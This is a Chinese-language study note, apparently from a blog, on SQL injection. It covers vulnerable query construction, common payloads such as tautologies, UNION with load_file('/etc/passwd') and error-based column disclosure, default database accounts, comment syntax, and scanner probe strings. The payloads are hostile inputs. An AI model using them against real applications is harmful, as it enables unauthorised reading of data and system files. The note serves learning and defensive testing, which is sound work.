SQL注入学习笔记

SQL漏洞

1.构造动态字符串

$query ="select*from table where field ='$_get["input"]' ";

request.getparameter("input")+"' ";

构造的SQL语句

select *from table where field= 'input'

1.转义字符处理不当,数据库将单引号解析成代码与数据间的分界线,还有其他特殊字符

2.数字字符,和字符串,攻击者会读取/etc/passwd文件中的内容,该文件中包含系统用户的用户名和属性

select *from table where

union all selectload_file{'/etc/passwd')--

3.查询集处理不当

 


数据库注入漏洞存在三个关键点:

识别web应用接收的数据输入

修改输入值以包含危险的字符串

检测服务器返回的异常

 

 

 

用户名

密码

作用

解决

'OR '1'='1

 

查询永为真

构造动态字符串

 

'OR '1'='1

查询永为真

$_GET['INPUT']'

"、'、 、||、,、.、

bi'+'kes

 

转义字符处理不当

LAOD_FILE('/etc/passwd')

 

 

数据类型处理不当

user

password

Super_priv

查询集处理不当

 

 

 

错误处理不当

url乱序排列

 

 

多个提交处理不当

root/SYSTEN/Administrator

sa/anonymous

SYS/DBSNMP/PUTLN

不安全的数据库配置

'having 1 '=' 1

 

 

显示数据库语句执行信息

' and 1=0/user;--

 

与下一行,一起披露

显示user变量的值

' group by productid having 1'=' 1

 

出每一列列名

显示productid的第一列

'and 1=0/Password and 1 '=' 1

' and 1=0/User and 1 ' = ' 1

 

类型转换错误技术,纰漏数据

' and User not in('Admin') and 1=0/User and 1'='1

 

 

使用否定条件从结果集中排除

data>'01/01/2009'

 

 

 

''or 1=1;--'AND

'admin'OR 1=1;--'AND

 

跳过and后的数据,忽略注释后面的查询内容

admin/*' AND

'*/'

 

 

 

1.缺少用户输入验证

2.数据和控制结构混合在同一传输通道
产生漏洞:堆,堆栈溢出,格式字符串问题

 

注入控制命令:select、 union、 and、or

 

数据库错误的构造和处理:

将SQL错误显示在页面上,它web浏览器可见

将SQL错误隐藏在Web页面的源代码中以便于调试

检测到错误时跳转到另一个页面

返回HTTP错误代码500(内部服务器错误)或HTTP重定向代码302

应用适当的处理错误而不显示结果,可能会显示一个通用的错误页面

 

数据库注释

数据库

注释

描述

SQL Server或者Oracle

--(double dash)

用于单行注释

 

/*   */

用于多行注释

Mysql

#或者-- double dash

用于单行注释

 

/*  */

用于多行注释

数据库的连接运算符

SQL Server

'a'+'b'='ab'

MySQL

'a' 'b'='ab'

Qracle

'a'||'b'='ab'

 

1.webInspect识别SQL注入漏洞时使用的特征量

'

value'OR

value'OR 5=5 OR 's's='0

value' AND 5=5 OR 's'='0

value' OR 5=0 OR 's'='0

value' AND 5=0OR 's'='0

0+value

value AND 5=5

value AND 5=0

value OR 5=5 OR 4=0

value OR 5=0 OR 4=0

2.Appscan,识别SQL注入漏洞使用的特征值

WF'SQL"Probe;A-B

'+'somechars

   '    

'and

'barfoo'='foobar')--

'hacing 1=1--

somechars'+'

  ';

'and

'barfoo'='foobar'--

a having 1=1--

somechars'||'

  )

'or'foobar'='foobar'--

\'having 1=1--

'||'somechars

  \'

'or'foobar'='foobar')--

....

 

 

 

 

 


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值